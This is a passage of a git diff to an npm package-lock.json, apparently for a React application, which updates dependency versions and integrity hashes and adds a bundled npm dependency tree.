"1.0.0", + "write-file-atomic": "2.3.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "dot-prop": { + "version": "4.2.0", + "bundled": true, + "requires": { + "is-obj": "1.0.1" + }, + "dependencies": { + "is-obj": { + "version": "1.0.1", + "bundled": true + } + } + }, + "make-dir": { + "version": "1.0.0", + "bundled": true, + "requires": { + "pify": "2.3.0" + }, + "dependencies": { + "pify": { + "version": "2.3.0", + "bundled": true + } + } + }, + "unique-string": { + "version": "1.0.0", + "bundled": true, + "requires": { + "crypto-random-string": "1.0.0" + }, + "dependencies": { + "crypto-random-string": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "import-lazy": { + "version": "2.1.0", + "bundled": true + }, + "is-installed-globally": { + "version": "0.1.0", + "bundled": true, + "requires": { + "global-dirs": "0.1.0", + "is-path-inside": "1.0.0" + }, + "dependencies": { + "global-dirs": { + "version": "0.1.0", + "bundled": true, + "requires": { + "ini": "1.3.5" + } + }, + "is-path-inside": { + "version": "1.0.0", + "bundled": true, + "requires": { + "path-is-inside": "1.0.2" + } + } + } + }, + "is-npm": { + "version": "1.0.0", + "bundled": true + }, + "latest-version": { + "version": "3.1.0", + "bundled": true, + "requires": { + "package-json": "4.0.1" + }, + "dependencies": { + "package-json": { + "version": "4.0.1", + "bundled": true, + "requires": { + "got": "6.7.1", + "registry-auth-token": "3.3.1", + "registry-url": "3.1.0", + "semver": "5.5.0" + }, + "dependencies": { + "got": { + "version": "6.7.1", + "bundled": true, + "requires": { + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.0", + "safe-buffer": "5.1.1", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" + }, + "dependencies": { + "create-error-class": { + "version": "3.0.2", + "bundled": true, + "requires": { + "capture-stack-trace": "1.0.0" + }, + "dependencies": { + "capture-stack-trace": { + "version": "1.0.0", + "bundled": true + } + } + }, + "duplexer3": { + "version": "0.1.4", + "bundled": true + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-redirect": { + "version": "1.0.0", + "bundled": true + }, + "is-retry-allowed": { + "version": "1.1.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "lowercase-keys": { + "version": "1.0.0", + "bundled": true + }, + "timed-out": { + "version": "4.0.1", + "bundled": true + }, + "unzip-response": { + "version": "2.0.1", + "bundled": true + }, + "url-parse-lax": { + "version": "1.0.0", + "bundled": true, + "requires": { + "prepend-http": "1.0.4" + }, + "dependencies": { + "prepend-http": { + "version": "1.0.4", + "bundled": true + } + } + } + } + }, + "registry-auth-token": { + "version": "3.3.1", + "bundled": true, + "requires": { + "rc": "1.2.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "rc": { + "version": "1.2.1", + "bundled": true, + "requires": { + "deep-extend": "0.4.2", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.4.2", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + }, + "registry-url": { + "version": "3.1.0", + "bundled": true, + "requires": { + "rc": "1.2.1" + }, + "dependencies": { + "rc": { + "version": "1.2.1", + "bundled": true, + "requires": { + "deep-extend": "0.4.2", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.4.2", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + } + } + } + } + }, + "semver-diff": { + "version": "2.1.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "xdg-basedir": { + "version": "3.0.0", + "bundled": true + } + } + }, + "uuid": { + "version": "3.2.1", + "bundled": true + }, + "validate-npm-package-license": { + "version": "3.0.1", + "bundled": true, + "requires": { + "spdx-correct": "1.0.2", + "spdx-expression-parse": "1.0.4" + }, + "dependencies": { + "spdx-correct": { + "version": "1.0.2", + "bundled": true, + "requires": { + "spdx-license-ids": "1.2.2" + }, + "dependencies": { + "spdx-license-ids": { + "version": "1.2.2", + "bundled": true + } + } + }, + "spdx-expression-parse": { + "version": "1.0.4", + "bundled": true + } + } + }, + "validate-npm-package-name": { + "version": "3.0.0", + "bundled": true, + "requires": { + "builtins": "1.0.3" + }, + "dependencies": { + "builtins": { + "version": "1.0.3", + "bundled": true + } + } + }, + "which": { + "version": "1.3.0", + "bundled": true, + "requires": { + "isexe": "2.0.0" + }, + "dependencies": { + "isexe": { + "version": "2.0.0", + "bundled": true + } + } + }, + "worker-farm": { + "version": "1.5.4", + "bundled": true, + "requires": { + "errno": "0.1.7", + "xtend": "4.0.1" + }, + "dependencies": { + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + }, + "dependencies": { + "prr": { + "version": "1.0.1", + "bundled": true + } + } + }, + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true + }, + "write-file-atomic": { + "version": "2.3.0", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "imurmurhash": "0.1.4", + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } + } + } + }, "null-loader": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", @@ -6491,37 +10365,26 @@ "dev": true }, "performance-now": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz", - "integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", "dev": true }, "phantomjs-prebuilt": { - "version": "2.1.15", - "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.15.tgz", - "integrity": "sha1-IPhugtM0nFBZF1J3RbekEeCLOQM=", + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.16.tgz", + "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "4.0.5", - "extract-zip": "1.6.5", + "es6-promise": "4.2.4", + "extract-zip": "1.6.6", "fs-extra": "1.0.0", "hasha": "2.2.0", "kew": "0.7.0", "progress": "1.1.8", - "request": "2.81.0", + "request": "2.85.0", "request-progress": "2.0.1", - "which": "1.2.14" - }, - "dependencies": { - "which": { - "version": "1.2.14", - "resolved": "https://registry.npmjs.org/which/-/which-1.2.14.tgz", - "integrity": "sha1-mofEN48D6CfOyvGs31bHNsAcFOU=", - "dev": true, - "requires": { - "isexe": "2.0.0" - } - } + "which": "1.3.0" } }, "pify": { @@ -7187,18 +11050,19 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", "requires": { "asap": "2.0.6" } }, "prop-types": { - "version": "15.5.10", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.5.10.tgz", - "integrity": "sha1-J5ffwxJhguOpXj37suiT3ddFYVQ=", + "version": "15.6.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.1.tgz", + "integrity": "sha512-4ec7bY1Y66LymSUOH/zARVYObB23AT2h8cf6e/O6ZALB/N0sqZFEx7rq6EYPX2MkOdKORuooI/H5k9TlR4q7kQ==", "requires": { - "fbjs": "0.8.14", - "loose-envify": "1.3.1" + "fbjs": "0.8.16", + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "prop-types-extra": { @@ -7236,7 +11100,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" + "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" }, "punycode": { "version": "1.4.1", @@ -7298,7 +11162,7 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", + "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", "dev": true, "requires": { "is-number": "3.0.0", @@ -7367,25 +11231,25 @@ "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.1.tgz", - "integrity": "sha1-uqhDTsZ4C96ZfNw4C3nNM7ljk98=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", + "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", "requires": { - "create-react-class": "15.6.0", - "fbjs": "0.8.14", + "create-react-class": "15.6.3", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-addons-test-utils": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.0.tgz", - "integrity": "sha1-Bi02EX/o0Y87peBuszODsLhepbk=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", + "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", "dev": true }, "react-base16-styling": { @@ -7400,19 +11264,18 @@ } }, "react-bootstrap": { - "version": "0.31.2", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.2.tgz", - "integrity": "sha512-6rEK6/Z0UStWkwROhNZ2RW+88AJ83d5i5nGJYoW88JoiAhkOd3MMKaJ4AQZKu+nZ3RWSNzHIKozuBb9N+ewOeA==", + "version": "0.31.5", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.5.tgz", + "integrity": "sha512-xgDihgX4QvYHmHzL87faDBMDnGfYyqcrqV0TEbWY+JizePOG1vfb8M3xJN+6MJ3kUYqDtQSZ7v/Q6Y5YDrkMdA==", "requires": { "babel-runtime": "6.25.0", "classnames": "2.2.5", - "dom-helpers": "3.2.1", + "dom-helpers": "3.3.1", "invariant": "2.2.2", "keycode": "2.1.9", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "prop-types-extra": "1.0.1", - "react-overlays": "0.7.0", - "react-prop-types": "0.4.0", + "react-overlays": "0.7.4", "uncontrollable": "4.1.0", "warning": "3.0.0" } @@ -7426,20 +11289,21 @@ } }, "react-copy-to-clipboard": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.0.tgz", - "integrity": "sha1-I8zdfE2ewsx2ODnipVsSIK608z0=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", + "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { "copy-to-clipboard": "3.0.8", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-data-components": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.1.1.tgz", - "integrity": "sha512-b6gq3tXSQ0hHTH1iNoBQODQw4Y5km5vCpUV4SK7TaS6RZt4TSXxL5vbqoMToccSnImSGZdrjvx1Sp2zju+LyxA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", + "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "4.17.4" + "lodash": "4.17.4", + "prop-types": "15.6.1" } }, "react-dimensions": { @@ -7451,14 +11315,14 @@ } }, "react-dom": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.1.tgz", - "integrity": "sha1-LLDtQZEDjlPCCes6eaI+Kkz5lHA=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.2.tgz", + "integrity": "sha1-Qc+t9pO3V/rycIRDodH9WgK+9zA=", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-fa": { @@ -7467,18 +11331,18 @@ "integrity": "sha1-aR4FbGj/S+h2OReiH34+rvO+jg8=", "requires": { "font-awesome": "4.7.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-graph-vis": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.3.tgz", - "integrity": "sha1-s5n5ECjXvQof0blcPM7lycRUgOE=", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.4.tgz", + "integrity": "sha512-njoLkjRCKUxjdVDIyTw1RJH4XE5Jp9WPXlBVR7yy2Wti+Rffrw99+xpYrq8pgfjcCOAByleLtDkSxHHUJSh4lg==", "requires": { "lodash": "4.17.4", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "uuid": "2.0.3", - "vis": "4.20.1" + "vis": "4.21.0" }, "dependencies": { "uuid": { @@ -7521,7 +11385,7 @@ "integrity": "sha1-cmMXOizIvwXqxjsEGcPOdbIy4oQ=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-base16-styling": "0.5.3" } }, @@ -7532,7 +11396,7 @@ "requires": { "jsonschema": "1.2.2", "lodash.topath": "4.5.2", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "setimmediate": "1.0.5" } }, @@ -7559,49 +11423,58 @@ } }, "react-overlays": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.0.tgz", - "integrity": "sha1-UxiY/1ZsflxyJurShjuM+fu1qYE=", + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.4.tgz", + "integrity": "sha512-7vsooMx3siLAuEfTs8FYeP/lAORWWFXTO8PON3KgX0Htq1Oa+po6ioSjGyO0/GO5CVSMNhpWt6V2opeexHgBuQ==", "requires": { "classnames": "2.2.5", - "dom-helpers": "3.2.1", - "prop-types": "15.5.10", - "react-prop-types": "0.4.0", - "warning": "3.0.0" - } - }, - "react-prop-types": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", - "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", - "requires": { + "dom-helpers": "3.3.1", + "prop-types": "15.6.1", + "prop-types-extra": "1.0.1", "warning": "3.0.0" } }, "react-redux": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.6.tgz", - "integrity": "sha512-8taaaGu+J7PMJQDJrk/xiWEYQmdo3mkXw6wPr3K3LxvXis3Fymiq7c13S+Tpls/AyNUAsoONkU81AP0RA6y6Vw==", + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.7.tgz", + "integrity": "sha512-5VI8EV5hdgNgyjfmWzBbdrqUkrVRKlyTKk1sGH3jzM2M2Mhj/seQgPXaz6gVAj2lz/nz688AdTqMO18Lr24Zhg==", "requires": { - "hoist-non-react-statics": "2.3.1", + "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.4", - "lodash-es": "4.17.4", + "lodash": "4.17.5", + "lodash-es": "4.17.8", "loose-envify": "1.3.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" + }, + "dependencies": { + "hoist-non-react-statics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.0.tgz", + "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" + }, + "lodash": { + "version": "4.17.5", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", + "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==" + }, + "lodash-es": { + "version": "4.17.8", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.8.tgz", + "integrity": "sha512-I9mjAxengFAleSThFhhAhvba6fsO0hunb9/0sQ6qQihSZsJRBofv2rYH58WXaOb/O++eUmYpCLywSQ22GfU+sA==" + } } }, "react-router": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", + "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==", "requires": { "history": "4.7.2", "hoist-non-react-statics": "2.3.1", "invariant": "2.2.2", "loose-envify": "1.3.1", "path-to-regexp": "1.7.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "warning": "3.0.0" }, "dependencies": { @@ -7618,12 +11491,12 @@ "react-router-dom": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", + "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==", "requires": { "history": "4.7.2", "invariant": "2.2.2", "loose-envify": "1.3.1", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-router": "4.2.0", "warning": "3.0.0" } @@ -7790,7 +11663,7 @@ "redux": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", + "integrity": "sha512-pNqnf9q1hI5HHZRBkj3bAngGZW/JMCmexDlOxw4XagXY2o1327nHH54LoTjiPJ0gizoqPDRqWyX/00g0hD6w+A==", "requires": { "lodash": "4.17.4", "lodash-es": "4.17.4", @@ -7892,33 +11765,56 @@ } }, "request": { - "version": "2.81.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz", - "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=", + "version": "2.85.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.85.0.tgz", + "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "0.6.0", - "aws4": "1.6.0", + "aws-sign2": "0.7.0", + "aws4": "1.7.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.1.4", - "har-validator": "4.2.1", - "hawk": "3.1.3", - "http-signature": "1.1.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.16", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", - "performance-now": "0.2.0", - "qs": "6.4.0", + "performance-now": "2.1.0", + "qs": "6.5.1", "safe-buffer": "5.1.1", "stringstream": "0.0.5", - "tough-cookie": "2.3.2", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", - "uuid": "3.1.0" + "uuid": "3.2.1" + }, + "dependencies": { + "mime-db": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", + "dev": true + }, + "mime-types": { + "version": "2.1.18", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "dev": true, + "requires": { + "mime-db": "1.33.0" + } + }, + "qs": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true + } } }, "request-progress": { @@ -7964,7 +11860,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "restore-cursor": { "version": "1.0.1", @@ -7986,9 +11882,9 @@ } }, "rimraf": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.1.tgz", - "integrity": "sha1-wjOOxkPfeht/5cVPqG9XQopV8z0=", + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", + "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { "glob": "7.1.2" @@ -8018,7 +11914,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", + "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", "dev": true }, "sax": { @@ -8142,12 +12038,12 @@ "dev": true }, "sntp": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz", - "integrity": "sha1-ZUEYTMkK7qbG57NeJlkIJEPGYZg=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/sntp/-/sntp-2.1.0.tgz", + "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "socket.io": { @@ -8353,7 +12249,7 @@ "source-map-support": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", + "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==", "dev": true, "requires": { "source-map": "0.5.6" @@ -8387,9 +12283,9 @@ "dev": true }, "sshpk": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.13.1.tgz", - "integrity": "sha1-US322mKHFEMW3EwY/hzx2UBzm+M=", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", + "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "dev": true, "requires": { "asn1": "0.2.3", @@ -8400,14 +12296,6 @@ "getpass": "0.1.7", "jsbn": "0.1.1", "tweetnacl": "0.14.5" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "statuses": { @@ -8721,7 +12609,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -8778,9 +12666,9 @@ "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, "tough-cookie": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.2.tgz", - "integrity": "sha1-8IH3bkyFcg5sN6X6ztc3FQ2EByo=", + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", + "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { "punycode": "1.4.1" @@ -8858,9 +12746,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.14", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.14.tgz", - "integrity": "sha1-EQ1T+kw/MmwSEpK76skE0uAzh8o=" + "version": "0.7.17", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.17.tgz", + "integrity": "sha512-uRdSdu1oA1rncCQL7sCj8vSyZkgtL7faaw9Tc9rZ3mGgraQ7+Pdx7w5mnOSF3gw9ZNG6oc+KXfkon3bKuROm0g==" }, "uglify-js": { "version": "2.8.29", @@ -9029,9 +12917,9 @@ "dev": true }, "uuid": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.1.0.tgz", - "integrity": "sha512-DIWtzUkw04M4k3bf1IcpS2tngXEL26YUD2M0tMDUpnUrz2hgzUBlD55a4FjdLGPvfHxS6uluGWvaVEqgBcVa+g==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", "dev": true }, "validate-npm-package-license": { @@ -9047,7 +12935,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.1", @@ -9070,25 +12958,17 @@ "assert-plus": "1.0.0", "core-util-is": "1.0.2", "extsprintf": "1.3.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "vis": { - "version": "4.20.1", - "resolved": "https://registry.npmjs.org/vis/-/vis-4.20.1.tgz", - "integrity": "sha1-Z+ku2v5y2mOxXJMCmRr57fL4Zhk=", + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", + "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", "requires": { "emitter-component": "1.1.1", "hammerjs": "2.0.8", "keycharm": "0.2.0", - "moment": "2.21.0", + "moment": "2.22.1", "propagating-hammerjs": "1.4.6" } }, @@ -9322,9 +13202,9 @@ "dev": true }, "whatwg-fetch": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.3.tgz", - "integrity": "sha1-nITsLc9oGH/wC8ZOEnS0QhduHIQ=" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", + "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, "whet.extend": { 